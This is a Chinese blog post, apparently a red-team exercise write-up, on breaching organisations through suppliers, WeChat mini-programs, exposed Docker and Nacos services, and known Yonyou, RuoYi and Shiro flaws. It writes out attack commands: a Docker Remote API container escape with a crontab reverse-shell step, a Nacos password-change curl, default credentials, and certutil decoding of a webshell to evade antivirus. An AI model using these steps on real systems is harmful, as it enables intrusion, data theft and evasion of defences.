网络攻防实战演练

news2024/11/19 6:36:53

在经历了多年的攻防对抗之后,大量目标单位逐渐认识到安全防护的重要性。因此,他们已采取措施尽可能收敛资产暴露面,并加倍部署各种安全设备。但安全防护注重全面性,具有明显的短板...

1、供应链

在经历了多年的攻防对抗之后,大量目标单位逐渐认识到安全防护的重要性。因此,他们已采取措施尽可能收敛资产暴露面,并加倍部署各种安全设备。但安全防护注重全面性,具有明显的短板效应,一处出现短板,整个防护体系就可能瞬间崩溃。而目标单位的供应链往往是这些薄弱点的集中体现。这些供应链不仅暴露在外,而且由于复杂的关系,使得对它们的监控和管理变得更为困难。因此,攻击团队通常会选择从供应链着手,以一种迂回的方式绕过目标单位强大的防御体系,获得对目标单位的控制权限。

通过在搜索引擎上搜索"系统名称"目标单位找到相关的供应商信息,通过对供应商进行攻击,获取目标单位的数据及权限。

1.1、heapdump泄露

通过对供应商资产进行渗透,发现某资产admin目录下存在heapdump文件泄露

对于heapdump的利用方式这里就不太赘述,有许多文章对其原理和利用都进行了深入的研究,特定情况下还可以直接进行RCE,这里泄露了大量敏感信息,密码信息加入密码本 登录MinIO,发现大量所属目标单位的敏感信息,也存在其它单位的敏感信息登录Nacos,大量配置文件,密码信息加入密码本!

登录OSS,发现大量所属目标单位的敏感信息

 

1.2、微信小程序接口未授权

1.2.1、微信小程序解包

想要对微信小程序进行解包操作,首先是要获取目标小程序的wxapkg文件。wxapkg文件是微信小程序的安装包文件格式,用于将小程序的代码、资源以及其他必要的文件打包成一个单独的文件。但是Windows环境下的wxapkg文件中的js代码和资源文件一般是被加密的,需要使用专门设计的解密工具先进行解密,再进行解包操作,获取文件内容。iOS和Android平台下可直接进行解包操作。

1.2.1.1、获取wxapkg文件

在获取wxapkg文件时,最好将文件夹中的文件先删除,然后再重新打开小程序,防止其它文件干扰

iOS wxapkg 文件存放路径为:

/var/mobile/Containers/Data/Application/{系统UUID}/Library/WechatPrivate/{user哈希值}/WeApp/LocalCache/release/{小程序的AppID}

Android wxapkg 文件存放路径为:

/data/data/com.tencent.mm/MicroMsg/{user哈希值}/appbrand/pkg/

Windows wxapkg 文件存放路径为:

C:\Users\{系统用户名}\Documents\WeChat Files\Applet\{小程序的AppID}\

 

1.2.1.2、解密操作

下面两个github项目都可以进行解密操作

https://github.com/superdashu/pc_wxapkg_decrypt_python
https://github.com/BlackTrace/pc_wxapkg_decrypt

解密原理
成功解密

.2.1.2、解包操作

国光大佬提供的工具下载链接

https://sqlsec.lanzoub.com/i1NEP0mx694f

node wuWxapkg.js 1.wxapkg

 

对小程序进行解包操作,获取到前端JS代码后中,从中进行提取获得接口直接访问目标接口,前端页面虽然显示初始化失败

但流量包中已获取数据,近千万条目标单位敏感信息

1.3、web程序越权

通过上述收集到的密码,撞密码撞出一个账号,但是此账号为最低权限,无任何操作权限,点击搜索组织架构,此时无任何返回信息抓包将parentId和orgLevel去除,再发包,即可越权看到全员组织架构点击修改密码,然后将上述获取到的roleId添加进去,即可获取全部权限获取到大量数据

1.4、公众号

js泄露密码,密码可撞库目标单位公众号

2、云原生安全

容器化部署和微服务架构为应用程序开发和部署提供了更好的灵活性、可伸缩性、可维护性和性能,受到了越来越多厂商的使用,新的应用就会引入新的攻击面,如容器逃逸、服务间攻击、API滥用等。攻击者可以利用这些新的入口点来攻击应用程序和数据。并且在云原生环境下管理用户和服务的身份验证和授权变得更加复杂。许多应用开发商在追求容器化和云原生架构的便利性和效率时,安全性常常被忽视或放在次要位置。这就直接导致了云原生环境的脆弱,容易受到各种安全威胁和攻击。

2.1、Harbor 镜像仓库

Harbor是一个开源的容器镜像仓库管理器,旨在帮助组织存储、管理和分发Docker容器镜像,但是Harbor存在一个充满争议的“漏洞”:任意用户能够直接获取public的镜像。

 

可以直接拉取下载镜像文件,可以利用脚本批量下载

2.2、疑似后门

通过镜像文件获取jar包,获取配置文件等敏感信息,对jar包的class文件进行反编译,进行代码审计获取到一个类似后门的漏洞,该接口只需要使用用户名,即可登录系统后台。管理员权限配合文件上传获取服务器权限。通过配置文件连接数据库等

2.3、docker未授权

2.3.1、 registry api未授权访问

在 Docker Registry API 中,认证和授权通常是基于访问令牌(Access Token)或者用户名和密码的。如果未正确设置访问控制权限,即会造成未授权访问漏洞,攻击者可直接下载registry仓库的所有镜像容器。

访问/v2/_catalog接口即可查看全部仓库内容

https://github.com/Soufaker/docker_v2_catalog

利用上述工具可直接下载镜像

2.3.2、 Docker Remote API未授权访问

为了管理容器集群,Docker允许Daemon作为后台守护进程执行通过管理接口发送的Docker命令,使用参数-H 0.0.0.0:2375启动Docker Daemon时,将开放2375端口接收来自远程Docker客户端的命令。在这种情况下,2375端口被作为非加密端口暴露出来,并且不存在任何形式的身份验证,攻击者可以直接使用Docker命令连接到Docker Daemon,并对容器进行直接操作,配合根目录挂载即可实现容器逃逸。

#查看容器
docker -H tcp://<target>:2375 ps -a

 

#挂载宿主机的根目录到容器内的mnt目录
docker -H tcp://<target>:2375 run -it -v /:/mnt nginx:latest /bin/bash
#反弹shell
echo '反弹shell命令' >> /mnt/var/spool/cron/crontabs/root

2.4、Nacos

Nacos是一个开源的动态服务发现、配置管理和服务管理平台,它提供了注册中心、配置中心和服务管理等功能,帮助开发人员实现微服务架构中的服务注册、配置管理以及服务发现等需求。

作为一个开源工具,漏洞还是被披露不少的,

未授权访问:/nacos/v1/auth/users?pageNo=1&pageSize=1 直接查看用户

任意用户添加:POST /nacos/v1/auth/users username=&password=

任意用户密码修改:curl -X PUT 'http://127.0.0.1:8848/nacos/v1/auth/users?accessToken\=' -H 'User-Agent:Nacos-Server' -d 'username\=test1&newPassword\=test2'

弱口令:nacos/nacos

通过编排密码爆破进后台,发现大量配置文件,但敏感信息均被加密

2.4.1、Jasypt加密

Spring 的配置文件中会有一些敏感信息,如数据库密码,因此有时我们希望将敏感信息加密,Jasypt 就是其中比较方便的工具,Jasypt 是一个 Java 库,用于简化敏感数据(如密码、API 密钥等)的加密和解密操作。

加密的内容需要用 ENC(..) 括起来,加密用的密码通过 jasypt.encryptor.password 指定。

spring:
  datasource:
    username: your-username
    password: ENC(encrypted-password)

因为必须要解密,密码就需要放在配置文件里,或者放在代码中:

# application.yml

jasypt:
  encryption:
    password: 密码
    algorithm: 加密方式

解密数据:使用解密器的 decrypt 方法对加密的数据进行解密操作。

import org.jasypt.util.text.BasicTextEncryptor;

public class DecryptionExample {
    public static void main(String[] args) {
        String encryptionKey = "yourEncryptionKey"; // 加密密钥
       BasicTextEncryptor textEncryptor = new BasicTextEncryptor();
        textEncryptor.setPassword(encryptionKey);

        String encryptedText = "encryptedText"; // 加密后的数据
     String decryptedText = textEncryptor.decrypt(encryptedText);

        System.out.println("Decrypted Text: " + decryptedText);
    }
}

但是客户端加密的安全性主要依赖于客户端代码的保护和可信任性,当密码泄露后,加密也就自然失效了,在ncaos一个文件中发现jasypt加密密码,可以直接进行解密操作

 成功连接OSS成功连接数据库

小程序token,接管小程序

达梦数据库是国产化的关系型数据库,使用下面工具可以进行连接

https://github.com/864381832/x-RdbmsSyncTool/releases/tag/v0.0.3

3、Nday

3.1、yongyouNC jsInvoke rce漏洞

漏洞利用方法,通过Java反射机制创建一个javax.naming.InitialContext对象,并使用LDAP协议连接到指定的IP地址和端口,然后调用"nc.itf.iufo.IBaseSPService"服务中的"saveXStreamConfig"方法,接受对象和字符串作为参数,达到命令执行的效果。

命令执行成功,但是目标系统存在杀软,无法直接上传文件

3.1.1、certutil

certutil 是 Windows 操作系统中的一个命令行工具,主要用于处理证书和加密相关的操作,利用 certutil的解密操作可以绕过杀软。

echo bash64编码后的免杀马 > myfile.jsp

 使用certutil进行解码

certutil -decode 木马相对路径 解码后的木马相对路径

图片

冰蝎上线并上线CS

图片

3.2、若依二开

shiro的洞修复了,找到一个前台信息泄露漏洞

图片

通过获取到的用户名,使用弱口令进入后台,普通权限

图片

再次对公告发布人员猜解密码,成功登录后台,多了系统管理权限,直接添加用户赋予最高权限

图片

新增用户登录,发现定时任务功能,直接使用定时任务执行命令

图片

3.3、shiro

目标路径在被访问时,会先跳转到统一认证登录,导致大部分都忽视了该路径是存在shiro反序列化漏洞的

图片

本着试一试的心态进行了shiro的扫描,默认密钥,直接获取权限

图片

 看到这里了,点个“赞”、“再看”吧

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1076248.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

[话题讨论]你认为程序员不写注释的原因是什么

你认为程序员不写注释的原因是什么 chatGPT发展势头迅猛&#xff0c;我认为其能够回答这个问题。于是我通过两条指令使其帮助我回答了这个问题&#xff0c;下面就是详细的提问指令和答复。 Not everything will go according to plan. Always be ready to adapt. Sometimes une…

kong 和konga网关部署及使用

Kong是一款基于OpenResty&#xff08;Nginx Lua模块&#xff09;编写的高可用、易扩展的&#xff0c;由Mashape公司开源的API Gateway项目。Kong是基于NGINX和Apache Cassandra或PostgreSQL构建的&#xff0c;能提供易于使用的RESTful API来操作和配置API管理系统&#xff0c;…

2D函数优化实战

优化目标函数如下&#xff1a; 该函数有四个极小值点&#xff0c;值都为0 先对函数进行绘图 初始化起始点&#xff0c;再设置优化器&#xff0c;进行梯度下降优化 完整代码&#xff1a; import torch import numpy as np import matplotlib.pyplot as plt from mpl_toolk…

Linux系统编程(2)

手动文件锁定 #include <stdio.h> void flockfile(FILE* stream);void funlockfile(FILE* stream);//非阻塞函数 int ftrylockfile(FILE* stream); 不会锁定流的操作 #define _GNU_SOURCE #include <stdio.h>int fgetc_unlocked(FILE* stream); char *fgets_unl…

C语言利用计算机找系统的最小通路集的算法

背景&#xff1a; 有人求助到博主希望分析一下他们老师给出的题目&#xff0c;博主思路分析和解题过程如下 题目要求&#xff1a; 联络矩阵法&#xff0c;当 n 较小时可以用手算,当然也可以用计算机计算。但当 n 很大时&#xff0c;需要计 算机的容量很大才行。为此要探求有…

网络机顶盒哪个好?达人分享最新网络电视机顶盒排名TOP5

看视频、网游戏、上网课等等功能网络机顶盒都能实现&#xff0c;可以说是我们使用频率最高的了&#xff0c;尤其是对老人小孩来说。我每年都会进行上百次测评&#xff0c;网络机顶盒就是其中品类之一&#xff0c;很多朋友都在私信我不知道网络机顶盒哪个好&#xff0c;跟着我一…

京东运营数据分析:2023年8月京东饮料行业品牌销售排行榜

鲸参谋监测的京东平台8月份饮料市场销售数据已出炉&#xff01; 8月份&#xff0c;饮料市场整体销售下滑。根据鲸参谋电商数据分析平台的相关数据显示&#xff0c;今年8月&#xff0c;京东平台饮料市场的总销量将近820万&#xff0c;环比下滑约8%&#xff0c;同比下滑约20%&am…

高精度电流源的应用领域有哪些

高精度电流源是一种能够提供稳定、准确、可控的电流输出的仪器设备&#xff0c;广泛应用于多个领域。以下是一些高精度电流源的应用领域。 科学研究&#xff1a;在物理学、化学、材料科学等领域中&#xff0c;需要进行精确的电流实验和测试。高精度电流源可以提供稳定的电流输出…

方法在template内用v-if调用,在main.js内引入并挂载全局

utils内index.js内的isAuth方法 main.js内引入isAuth&#xff0c;并全局注册 vue页面在template内用v-if调用isAuth方法

linux 给根目录扩容(lvm CentOS 7.6 kylinx86)

问题:Linux系统挂载到根目录的磁盘空间满了,如何扩容? 用命令:lsblk 可以查看磁盘和分区情况,可以发现磁盘vda下面的还有大部分空间没有使用。 操作步骤 1、使用 fdisk -l 查看硬盘序号,并用 fdisk 对硬盘操作,格式化成lvm的格式 (用命令lsblk可以看到,挂载到根目录…

算法题:K 次取反后最大化的数组和(典型的贪心算法问题)

这道题没有看题解&#xff0c;直接提交&#xff0c;成绩超越99.5%&#xff0c;说明思路是优的。就是考虑的情况里面弯弯绕比较多&#xff0c;需要考虑全面一点。&#xff08;本题完整题目附在了最后面&#xff09; 具体思路如下&#xff1a; 1、首先排序&#xff0c;然后从最…

如何在 Spring Boot 中进行文件上传

在 Spring Boot 中进行文件上传 文件上传是Web应用程序中常见的功能之一&#xff0c;它允许用户将文件从客户端上传到服务器。Spring Boot提供了便捷的方式来处理文件上传&#xff0c;并且整合了Spring框架的强大功能&#xff0c;使文件上传变得相对简单。本文将介绍如何在Spr…

深度学习DAY2:n-gram

什么是LM(language model语言模型)&#xff1f; 引例&#xff1a; 1、统计机器学习时期的语言模型–语音识别 2、贝叶斯公式求P(s|A)——在有了语音信号的前提下是文本的概率 1 n-gram模型概述 n-gram模型是一种统计语言模型&#xff0c;用于建模文本数据中的语言结构。…

释放Sqlite数据库占用的多余空间

当删除sqlite数据库中的数据之后&#xff0c;会发现内容确实删除掉了&#xff0c;但是sqlite数据库占用的磁盘大小没有缩小&#xff0c;那是因为&#xff0c;删除数据后&#xff0c;未使用的磁盘空间被添加到一个内在的“空闲列表”中用于储存你下次插入的数据&#xff0c;磁盘…

使用yum 安装mysql数据库

h这是参照msyql官方文档写的&#xff08;网上的教程五花八门&#xff0c;各有各的特色和技巧&#xff0c;不过还是以官方文档为主要参考最靠谱&#xff09; 注意 : 适用于第一次安装的情况&#xff0c;系统上已经有之前安装过的版本的话&#xff0c;官方文档同一章也有升级、替…

【广州华锐互动】AR轨道交通综合教学平台的应用

轨道交通是一种复杂且精密的系统&#xff0c;涵盖了众多技术和工程学科&#xff0c;包括机械、电气和计算机科学等。对于学生来说&#xff0c;理解和掌握这些知识是一项挑战。然而&#xff0c;AR技术的出现为解决这一问题提供了可能。 通过AR技术&#xff0c;教师可以创建生动、…

Linux ❀ 磁盘IO较大故障告警排查确认方法

文章目录 1、iotop2、iostat3、磁盘压力测试 问题描述&#xff1a;在日常运维工作中&#xff0c;经常会遇到Linux服务器出现Disk磁盘I/O&#xff08; I/O 英文全称是 Input/Output&#xff0c;中文译为 输入与输出&#xff0c;通常指存储器与其他设备之间的数据交换操作&#x…

sip网络话筒主机SIP桌面式对讲广播主机

sip网络话筒主机SIP桌面式对讲广播主机 SV-8003VP是我司的一款SIP桌面式对讲主机&#xff0c;具有10/100M以太网接口&#xff0c;配置了麦克风输入和扬声器输出&#xff0c;还配置多达22个按键和2.8英寸液晶显示屏&#xff0c;可以配合SIP服务器使用。SV-8003VP网路寻呼话筒可以…

SAP SD定价过程 含税未税 最大区别

SAP SD定价过程 含税&未税 最大区别 最大区别应该为&#xff0c;税条件类型&#xff1a; 含税一般用 MWSI 未税一般用 MWST

HarmonyOS/OpenHarmony原生应用开发-华为Serverless认证服务说明(二)

一、支持HarmonyOS(Stage模型-API9)应用的账户注册登录方式 文档中的TS作者认为就是ArkTS之意。暂时支持四种模式&#xff0c;手机、邮箱、匿名、自有账户。 二、暂时不支持HarmonyOS(Stage模型-API9)应用的账户注册登录方式 包括华为账户注册登录&#xff0c;HarmonyOS…